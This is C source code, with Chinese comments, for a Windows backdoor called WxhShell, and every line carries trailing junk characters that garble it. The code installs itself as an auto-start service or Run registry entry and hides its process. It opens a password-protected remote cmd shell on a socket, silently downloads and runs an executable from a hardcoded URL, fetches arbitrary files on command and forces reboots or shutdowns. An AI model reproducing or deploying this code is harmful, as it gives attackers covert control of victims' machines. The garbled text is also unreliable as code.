    if(Boot(SHUTDOWN)) eXWiTi@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z}TuVE  
    else { {=j!2v#8~  
    closesocket(wsh); aHe/MucK  
    ExitThread(0); /Ws@YP  
    } B5aFt ;Vj  
    break; &Jv j@,>$d  
    } CeoK@y=o  
  // 获取shell 5V4Ze;K  
  case 's': { f@+[-yF  
    CmdShell(wsh); F`3c uL[N  
    closesocket(wsh); s={AdQ  
    ExitThread(0); 0#KDvCBJ  
    break; +.&#whEw(i  
  } ~xpU<Pd*  
  // 退出 ~cVFCM  
  case 'x': { oJbD|m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MbC7`Sp&i  
    CloseIt(wsh); V|ax(tHv  
    break; v-J*PB.0p  
    } R_:47.qq  
  // 离开 A!No:?S  
  case 'q': { V03U"eI="  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,5HQHo@  
    closesocket(wsh); iXK.QktHw  
    WSACleanup(); tbF>"?FY/  
    exit(1); -z./6dQ  
    break; *x2+sgSf_0  
        } VG^*?62  
  } RrRrB"!8nR  
  } N^pTj<M<g  
d76k1-m\o  
  // 提示信息 j|TcmZGO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > $DMVtE0  
} ~UX@%0%)N  
  } E1usxF)  
"<H.F 87Z)  
  return; j+"i$ln+s  
} X:bv ?o>Y  
z$$ E7i  
// shell模块句柄 "i_I<?aGB  
int CmdShell(SOCKET sock) KSnU;B6w>  
{ Gf( hN|X.  
STARTUPINFO si; A94ZG:   
ZeroMemory(&si,sizeof(si)); x1</%y5ev  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?pn<lW8d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QE*O~Yj  
PROCESS_INFORMATION ProcessInfo; hJ$o+sl  
char cmdline[]="cmd"; r:lv[/ D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UjxEbk5>^  
  return 0; +?Vj}p;  
} a~E@scD  
Jn3cU  
// 自身启动模式 (? j $n?p  
int StartFromService(void) "S)2<tV  
{ @TF^6)4f  
typedef struct %Z9&zmO  
{ =lY6v -MBw  
  DWORD ExitStatus; l]t9*a]a  
  DWORD PebBaseAddress; F5la:0fb  
  DWORD AffinityMask; TP7'tb  
  DWORD BasePriority; )a"rj5~-  
  ULONG UniqueProcessId; mOgsO  
  ULONG InheritedFromUniqueProcessId; 4g<F."  
}   PROCESS_BASIC_INFORMATION; l3kYfq{";"  
C_xO k'091  
PROCNTQSIP NtQueryInformationProcess; z{XN1'/V  
8>^(-ca_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !-%fCg(B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ${I$@qq83  
0kC}qru'  
  HANDLE             hProcess; Mx? ]7tI  
  PROCESS_BASIC_INFORMATION pbi; GP=i6I6C  
|^!#x Tj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4#hDt^N~  
  if(NULL == hInst ) return 0; pkTg.70wU  
lS1-e0,h1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V)x(\ls]SX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /tIR}qK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2y6@:VxSh  
'2)c;/-E  
  if (!NtQueryInformationProcess) return 0; BCnf'0q  
w1Ar[ P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }{FKs!(4  
  if(!hProcess) return 0; "p]Fq,  
)gM3,gSS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @L?X}'0xI4  
[t)omPy<c  
  CloseHandle(hProcess); epz'GN]V  
6 0C;J!D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nT7{`aaQl  
if(hProcess==NULL) return 0; e|Ip7`  
/rMxl(wD'  
HMODULE hMod; 1X-KuGaD  
char procName[255]; @q=l H *=  
unsigned long cbNeeded; 2 uuI_9 "^  
1|K>V;C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D+$k  
[>`[1;aX  
  CloseHandle(hProcess); m]g"]U:  
O_ }ZSB8"  
if(strstr(procName,"services")) return 1; // 以服务启动 *7 L*:g  
9`[#4'1Mik  
  return 0; // 注册表启动 XBJ9"G5  
} >;E[XG^  
T9 @^@l$  
// 主模块 5f54E|vD  
int StartWxhshell(LPSTR lpCmdLine) ,!`94{Ggv  
{ D+ki2UVt&  
  SOCKET wsl; m~K[+P  
BOOL val=TRUE; GPqF>   
  int port=0; m7:E7 3:  
  struct sockaddr_in door; pB @l+ n^  
jgiP2k[Xom  
  if(wscfg.ws_autoins) Install(); 4fDo}~  
E)(`Z0  
port=atoi(lpCmdLine); Dl862$_Q  
#=WDJ T:  
if(port<=0) port=wscfg.ws_port; 47Y| 1  
dEXHd@"H  
  WSADATA data; eO,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "Y&+J@]  
//--r5Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T7;)HFGeW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {Y5h*BD>  
  door.sin_family = AF_INET; N0s)Nao4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CK e  
  door.sin_port = htons(port);  1fbd/-h  
5H6GZ:hp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ixJUq o  
closesocket(wsl); V:42\b7x  
return 1; ~L(_q]  
} $,k SR}  
/p,D01Ws}(  
  if(listen(wsl,2) == INVALID_SOCKET) { ` w Sg/  
closesocket(wsl); FV/xp}nz  
return 1; zIbl[[M&  
} !2x"'o  
  Wxhshell(wsl); }nE#0n  
  WSACleanup(); <$.KCLP  
u)P$xkf  
return 0; aMTY{  
y? [*qnPj  
} *f8,R"]-g  
@];#4O  
// 以NT服务方式启动 "xdJ9Z-B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k?Jzy  
{ /2u;w !oi.  
DWORD   status = 0; SX}GKu  
  DWORD   specificError = 0xfffffff; hBsjO3n  
yh_s(>sh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y,D\_il_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Kw'Dzz%kN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7kn=j6I  
  serviceStatus.dwWin32ExitCode     = 0; ,WOF)   
  serviceStatus.dwServiceSpecificExitCode = 0; X_ >B7(k   
  serviceStatus.dwCheckPoint       = 0; p!'wOThO`  
  serviceStatus.dwWaitHint       = 0; mUy/lo'4  
[v-?MS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (p} N9n$  
  if (hServiceStatusHandle==0) return; !W$3p'8Tu  
uMsKF%m  
status = GetLastError(); E08AZOY&g  
  if (status!=NO_ERROR) +:&(Ag  
{ svpWABO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P[P!WLr""  
    serviceStatus.dwCheckPoint       = 0; U7crbj;c)d  
    serviceStatus.dwWaitHint       = 0; jo<sN  
    serviceStatus.dwWin32ExitCode     = status; W&06~dI1!  
    serviceStatus.dwServiceSpecificExitCode = specificError; Wr)% C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZJ=C[s!wu  
    return; Q X@&~  
  } qC\$>QU}  
!+)$;`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LR)is  
  serviceStatus.dwCheckPoint       = 0; \((>i7C  
  serviceStatus.dwWaitHint       = 0; !hH6!G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <2cq 0*$  
} %aw/Y5  
h]EXD   
// 处理NT服务事件,比如:启动、停止 ZQBo|8*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) McsqMI6  
{ XVv7W5/q]  
switch(fdwControl) hChM hc  
{ q }z,C{Wq<  
case SERVICE_CONTROL_STOP: La9@h"  
  serviceStatus.dwWin32ExitCode = 0; =D[h0U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }4 $EN  
  serviceStatus.dwCheckPoint   = 0; jilO%  "  
  serviceStatus.dwWaitHint     = 0; It_yh #s  
  { D[tGbk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }p- %~ Y  
  } B!tt e )  
  return; A`N;vq,  
case SERVICE_CONTROL_PAUSE: [\.>BK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H>7!+&M  
  break; Z#J{tXZc  
case SERVICE_CONTROL_CONTINUE: b6/:reH{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rLKDeB  
  break; +?@qu x!  
case SERVICE_CONTROL_INTERROGATE: }bnkTC  
  break; mMjVbeh[  
}; gRqz8UI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AT9SD vJ  
} 1b!l+ 8!  
blPC"3}3Vd  
// 标准应用程序主函数 v Cmh3TQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h=U 4  
{ &GZR-/  
v*^2[pf  
// 获取操作系统版本 9(PFd%  
OsIsNt=GetOsVer(); hWW<]qzA,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); plIx""a^h  
dk]ro~ [  
  // 从命令行安装 *oWzH_  
  if(strpbrk(lpCmdLine,"iI")) Install(); uA,{C%?  
o{Ep/O`  
  // 下载执行文件 PJ.jgN(r  
if(wscfg.ws_downexe) { d!X?R}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KWH  
  WinExec(wscfg.ws_filenam,SW_HIDE); ky%%H;  
} nc{ <v  
MtB:H*pM  
if(!OsIsNt) { OlJj|?z $  
// 如果时win9x,隐藏进程并且设置为注册表启动 {p\KB!Y-  
HideProc(); P3|<K-dFAK  
StartWxhshell(lpCmdLine); _t[%@G>P  
} O^$Zz<  
else dEp=;b s  
  if(StartFromService()) qs b4@jt+  
  // 以服务方式启动 %G SSy_c  
  StartServiceCtrlDispatcher(DispatchTable); e+WVN5"ID>  
else  M:$nL  
  // 普通方式启动 7(;VUR%%.  
  StartWxhshell(lpCmdLine); # 0 (\s@r.  
~>R)H#mP7  
return 0; F{+`F<r  
} <coCu0  
*X-$* ~J0  
y_&XF>k91  
E=QQZ\w  
=========================================== <i6MbCB  
[)pT{QA  
|{K:.x#^  
4{g|$@s(  
*2MTx   
"LWuN>   
" GZt] 38V)g  
hdL2`5RFF  
#include <stdio.h> t} M3F-NZ  
#include <string.h> k N+(  
#include <windows.h> Y5CE#&  
#include <winsock2.h> xTZ5q*Hqx  
#include <winsvc.h> nE;gM1I  
#include <urlmon.h> 1 %`:8  
kDh(~nfj  
#pragma comment (lib, "Ws2_32.lib") MvmP["%J4_  
#pragma comment (lib, "urlmon.lib") ($W 5fbu  
(^9M9+L[i  
#define MAX_USER   100 // 最大客户端连接数 1n"X?K5;A  
#define BUF_SOCK   200 // sock buffer 9iCud6H,h  
#define KEY_BUFF   255 // 输入 buffer sQs5z~#51*  
tW>R 16zq  
#define REBOOT     0   // 重启 du,-]fF  
#define SHUTDOWN   1   // 关机 eHe /w9`$R  
R-fjxM*  
#define DEF_PORT   5000 // 监听端口 GcCs}(eo  
JUFO.m^w  
#define REG_LEN     16   // 注册表键长度 UD`Z;F  
#define SVC_LEN     80   // NT服务名长度 >}*jsqaVU  
,?6m"ov4(  
// 从dll定义API "n, ZP@M;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x?'%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); % cdP*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *XO KH+_u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o7XRa]O  
e&4u^'+K  
// wxhshell配置信息 3+5\xRq  
struct WSCFG { p9WskYpm  
  int ws_port;         // 监听端口 U(4_X[qD  
  char ws_passstr[REG_LEN]; // 口令 &X,)+ b=  
  int ws_autoins;       // 安装标记, 1=yes 0=no (Nb1R"J `  
  char ws_regname[REG_LEN]; // 注册表键名 O Zm[i H  
  char ws_svcname[REG_LEN]; // 服务名 ~HRWKPb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'LLx$y.Ei[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 86F+N_>Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R7c)C8/~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no em!R9J.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N|2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $ow`)?sh  
O>5u5n  
}; L6=RD<~C  
xH#a|iT?(  
// default Wxhshell configuration `Kw8rG\]:  
struct WSCFG wscfg={DEF_PORT, d|+jCTKS  
    "xuhuanlingzhe", x>" JWD  
    1, 3|r!*+.  
    "Wxhshell", igj@{FN  
    "Wxhshell", @M^Qh Hs  
            "WxhShell Service", b\m( 0/x  
    "Wrsky Windows CmdShell Service", ,<r3Z$G  
    "Please Input Your Password: ", +u:O AsR  
  1, ={@ @`yP^$  
  "http://www.wrsky.com/wxhshell.exe", T KL(97)<  
  "Wxhshell.exe" ]J=)pD rk  
    }; qq3Qd,$Z  
'=G Ce%A  
// 消息定义模块 UA4d|^ev  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ff./DMDafI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fA0=Y,pzv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MGyB8(  
char *msg_ws_ext="\n\rExit."; rIfGmh%H  
char *msg_ws_end="\n\rQuit."; [pFu ] ^X  
char *msg_ws_boot="\n\rReboot..."; #33RhJu5,  
char *msg_ws_poff="\n\rShutdown..."; 4yZ+,hqJ<9  
char *msg_ws_down="\n\rSave to "; fy>And*  
?[1qC=[Z<  
char *msg_ws_err="\n\rErr!"; !Fg4Au  
char *msg_ws_ok="\n\rOK!"; J}_Dpb[L  
4FE@s0M,  
char ExeFile[MAX_PATH]; 8Y~=\(5>  
int nUser = 0; AD%D ,l  
HANDLE handles[MAX_USER]; {r2|fgi  
int OsIsNt; _u|FJTk  
%x8`fm  
SERVICE_STATUS       serviceStatus; KP d C9H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; akCo+ @  
<6O _t,K]  
// 函数声明 b hr E  
int Install(void); \pD=Lv9  
int Uninstall(void); ,\9mAt1O  
int DownloadFile(char *sURL, SOCKET wsh); +\8krA  
int Boot(int flag); * :tjxC  
void HideProc(void); PWN'.HQ  
int GetOsVer(void); 1LId_vJtJ  
int Wxhshell(SOCKET wsl); b'oGt,  
void TalkWithClient(void *cs); ;!JX-Jq  
int CmdShell(SOCKET sock); {+ 6D-rDw  
int StartFromService(void); T'b/]&0Tio  
int StartWxhshell(LPSTR lpCmdLine); 71/m.w  
dbuJ~?D,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .F$|j1y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =i^<a7M~  
#W%)$k c  
// 数据结构和表定义 1S(\2{Ylo  
SERVICE_TABLE_ENTRY DispatchTable[] = X:``{!~geo  
{ mhi90Jc  
{wscfg.ws_svcname, NTServiceMain}, bA<AG*  
{NULL, NULL} 0+<eRR9 -  
}; d=Df.H+3  
8lWH=kA\  
// 自我安装 ,s><kHJ  
int Install(void) 9sU+IT K4  
{ Gkv~e?Kc~^  
  char svExeFile[MAX_PATH]; f7Df %&d  
  HKEY key; hP1 l v7P  
  strcpy(svExeFile,ExeFile);  Vp] D  
I!@s6tG  
// 如果是win9x系统,修改注册表设为自启动 46K&$6eN  
if(!OsIsNt) { QOV}5 0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 45+%K@@x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z<ajET`)  
  RegCloseKey(key); x9)aBB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *j /S4qG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zgg'9E  
  RegCloseKey(key); Z%+BWS3YqY  
  return 0; zRV!(Y  
    } ?AnjD8i  
  } f{igW?Ho  
} ?jri!]ux#  
else { JYwyR++uo  
x*h?%egB!p  
// 如果是NT以上系统,安装为系统服务 }U%^3r-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zUs~V`0  
if (schSCManager!=0) 3a#PA4Ql  
{ X%GD0h]X#  
  SC_HANDLE schService = CreateService iUIy,Y  
  ( g5[D&  
  schSCManager, <Zp^lDxa  
  wscfg.ws_svcname, ~^I\crx,U%  
  wscfg.ws_svcdisp, dU]i-NF  
  SERVICE_ALL_ACCESS, Y5ogi )  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X"[dQ_o  
  SERVICE_AUTO_START, K8 b+   
  SERVICE_ERROR_NORMAL, ohrw\<xsu  
  svExeFile, z wL3,!t  
  NULL,  9<|m4  
  NULL, T&r +G!2  
  NULL, 8FzHNG  
  NULL, {ITv&5?>  
  NULL ,0!uem}1i  
  ); 8zdT9y|Ig  
  if (schService!=0) fokwW}>B[f  
  { ! FNf>z+  
  CloseServiceHandle(schService); +w"_$Tj@;  
  CloseServiceHandle(schSCManager); ],8;eq%W)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "~u_\STn <  
  strcat(svExeFile,wscfg.ws_svcname); ]7a;jNQu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %O#)Nq>mp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GR,J0LT   
  RegCloseKey(key); NSw<t9Yi  
  return 0; )ll?-FZ   
    } _6;<ow  
  } </.z1 $  
  CloseServiceHandle(schSCManager); (NX)o P  
} ZP"yq6!i  
} hwiKOP  
<^xfcYx\  
return 1; }wG,BB%N  
} KiQ(XNx  
osl=[pm  
// 自我卸载 U\Ct/U&A?  
int Uninstall(void) tqK=\{U  
{ xw?CMA  
  HKEY key; sf`PV}a1  
sltk@  
if(!OsIsNt) { J' W}7r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `h?LVD'l  
  RegDeleteValue(key,wscfg.ws_regname); W9dYljnZ8i  
  RegCloseKey(key); *ksb?|<Ot  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vt'L1Wr0v  
  RegDeleteValue(key,wscfg.ws_regname); =yo{[&Jz  
  RegCloseKey(key); 3 4SA~5  
  return 0; U R}kB&t  
  } u+i(";\  
} W6vf=I@f  
} ;1v=||V  
else { ,+se  
cf)J )  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rj3YTu`  
if (schSCManager!=0) 8W;2oQN7  
{ \m f*ge\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i2*d+?Er  
  if (schService!=0) =+<d1W`>0  
  { i X%[YQ |  
  if(DeleteService(schService)!=0) { Nsn~@.UuSW  
  CloseServiceHandle(schService); M ?*Tf&  
  CloseServiceHandle(schSCManager); i}B;+0<drx  
  return 0; 9x? B5Ap[  
  } hT'=VN  
  CloseServiceHandle(schService); %(`#A.yaE  
  } gz;&u)  
  CloseServiceHandle(schSCManager); 0 " y%9  
} ^;r+W -MQ  
} SauH>  
/THnfy \  
return 1; fywvJ$HD]L  
} 'a#mViPTQ)  
@uM EXP  
// 从指定url下载文件  / +1{  
int DownloadFile(char *sURL, SOCKET wsh) A2NF<ZsD  
{ mibpG9+d  
  HRESULT hr; b{M}5~e=B  
char seps[]= "/"; gRAC d&)  
char *token; B76 v}O:  
char *file; vc8?I."?  
char myURL[MAX_PATH]; Hm fXe  
char myFILE[MAX_PATH]; 'eyJS`  
#r<?v  
strcpy(myURL,sURL); +}a C-&  
  token=strtok(myURL,seps); |TTS?  
  while(token!=NULL) 6;+jIkkD)  
  { d"ZU y!a  
    file=token; RV+E^pkp$  
  token=strtok(NULL,seps); so+4B1$)q  
  } RJ~ %0  
>o~Z>lr  
GetCurrentDirectory(MAX_PATH,myFILE); # ??%B  
strcat(myFILE, "\\"); vfwA$7N  
strcat(myFILE, file); 2r&R"B1`(  
  send(wsh,myFILE,strlen(myFILE),0); P`jL]x  
send(wsh,"...",3,0); pBp #a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +}@ 8p[`)  
  if(hr==S_OK) <7XT\?%F  
return 0; sbo^"&%w  
else KrcgIB8X  
return 1; XIAeCU  
V&ot3- Rf  
} lA^+Flh  
0Fw6Dq<8-!  
// 系统电源模块 + G;LX'B  
int Boot(int flag) BqH]-'1G  
{ nfdq y)  
  HANDLE hToken; 2c(aO[%h9  
  TOKEN_PRIVILEGES tkp; VDGCWg6z  
3y A2WW  
  if(OsIsNt) { P0Z! ?`e=M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ROc`BH=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -$2kO`|p  
    tkp.PrivilegeCount = 1; . +  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yx>_scv,T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LF*&(NC  
if(flag==REBOOT) { p$E8Bn%[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;V5yXNQ   
  return 0; ~9\zWRh  
} 5x8+xw3Eh  
else { }{[mrG   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'h1b1,b~  
  return 0; o0It82?RN  
} sJG5/w  
  } ]J7Qgp)i  
  else { 1.U`D\7mb  
if(flag==REBOOT) { ^U[D4UM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &M />tE Z)  
  return 0; %^]?5a!  
} %9v@0}5V  
else { :G5uocVk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) od' /%  
  return 0; @>Mxwpl?  
} xiblPF_n3  
} *^%*o?M~  
xdvh-%A4  
return 1; MrRaU x6z  
} 790-)\:CY  
E#wS_[  
// win9x进程隐藏模块 "= / f$Xf  
void HideProc(void) 9=X)ung9  
{ 0\9K3  
q`NXJf=sc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x#.C4O09  
  if ( hKernel != NULL ) UBv@+\Y8m  
  { =ONHK F[UJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tCG76LH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3*UR3!Z9 *  
    FreeLibrary(hKernel); ikD1N  
  } 1 rs&74-  
\b=Pj!^gwb  
return; $Fkaa<9;P  
} C'yppl%  
?S$i?\Qh  
// 获取操作系统版本 ew _-Eb  
int GetOsVer(void) Isy'{ -H  
{ a, Q#Dk  
  OSVERSIONINFO winfo; ~Nf})U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'y]\-T  
  GetVersionEx(&winfo); (" ~ DJ=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dovZ#D@Q  
  return 1; Q\ /uKQ  
  else osARA3\Xt  
  return 0; P 3MhU;  
} <f@"HG l  
:cu #V  
// 客户端句柄模块 ;9o;r)9~  
int Wxhshell(SOCKET wsl) 6DG@?O  
{ yz8mP3"c:o  
  SOCKET wsh; 2{-ZD ,(u7  
  struct sockaddr_in client; ~Tbj=f  
  DWORD myID; =K'cM=WM6  
WE]e m >  
  while(nUser<MAX_USER) vAY,E=&XvM  
{ 1I@8A>2^OX  
  int nSize=sizeof(client); !Z VU,b>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qW:HNEiir  
  if(wsh==INVALID_SOCKET) return 1; `.s({/|[  
gs!(;N\j|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pym!U@$t  
if(handles[nUser]==0) 8-<:i  
  closesocket(wsh);  :Gm/  
else [Nn`l,  
  nUser++; CLvX!O(~  
  } `al<(FwGE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~4"qV_M  
W9NX=gE4  
  return 0; UAoh`6vFF8  
} =zQN[  
9z6XF]A  
// 关闭 socket g}@OUG"D  
void CloseIt(SOCKET wsh) jKt7M>P  
{ 2UGsYQn  
closesocket(wsh); 6@DF  
nUser--; !K|5bK  
ExitThread(0); cnTaJ/o  
} /SYw;<=  
m2AnXY\  
// 客户端请求句柄 f^W;A"+  
void TalkWithClient(void *cs) E>l~-PaZY  
{ 8OgLn?"P  
7uzk p&+:  
  SOCKET wsh=(SOCKET)cs; wI(M^8F_Mf  
  char pwd[SVC_LEN]; 6Ybg^0m  
  char cmd[KEY_BUFF]; H%D$(W  
char chr[1]; AK@9?_D  
int i,j; t5 G9!Nn  
O({2ivX  
  while (nUser < MAX_USER) { l\i)$=d&g  
FSND>\>  
if(wscfg.ws_passstr) { =>-Rnc@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J{Q|mD=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zCk^B/j sM  
  //ZeroMemory(pwd,KEY_BUFF); B {>7-0  
      i=0; {.XEL  
  while(i<SVC_LEN) { wb0L.'jyR)  
ov, hI>0!D  
  // 设置超时 n rjE.+v  
  fd_set FdRead; >7 ="8  
  struct timeval TimeOut; 5 sX+~Q  
  FD_ZERO(&FdRead); \kZ?  
  FD_SET(wsh,&FdRead); Hl,W=2N  
  TimeOut.tv_sec=8; ~sh`r{0  
  TimeOut.tv_usec=0; 2Wdyxj Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E 7{U |\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,y#Kv|R  
;0Tx-8l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {z{bY\  
  pwd=chr[0]; YuO.yh_  
  if(chr[0]==0xd || chr[0]==0xa) { 5?x>9C a  
  pwd=0; F1yqxWHeo  
  break; Tc? $>'  
  } cz8T  
  i++; <J`0  
    } JJN.ugT}1  
;>Ib^ov  
  // 如果是非法用户,关闭 socket HMNLa*CL'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dl.p\t(1  
} fumm<:<CLO  
[D I+~F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C&(N I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wi)_H$KII  
FOE4>zE  
while(1) { .(cw>7e3D  
v bZ}Z3f_  
  ZeroMemory(cmd,KEY_BUFF); NXrJfp  
g,!L$,/F  
      // 自动支持客户端 telnet标准   s;ls qQk  
  j=0; 0Qf,@^zL*  
  while(j<KEY_BUFF) { u7>],<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (@fHl=! Za  
  cmd[j]=chr[0]; z7fp#>uw  
  if(chr[0]==0xa || chr[0]==0xd) { \!.B+7t=I  
  cmd[j]=0; 9y"@(  
  break; inMA:x}cF1  
  } *RJG!t*t  
  j++; gCB |DY  
    } *`5.|{<j{  
B|C2lu  
  // 下载文件 Z 2V.3  
  if(strstr(cmd,"http://")) { r@H /kD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4V)kx[j  
  if(DownloadFile(cmd,wsh)) *k.G5>@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,is3&9  
  else d:C'H8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2} /aFR  
  } ?BeiY zg  
  else { 7x|9n  
$ r@zs'N  
    switch(cmd[0]) { iL-(O;n  
  h+g_rvIG*  
  // 帮助 )Q&(f/LT  
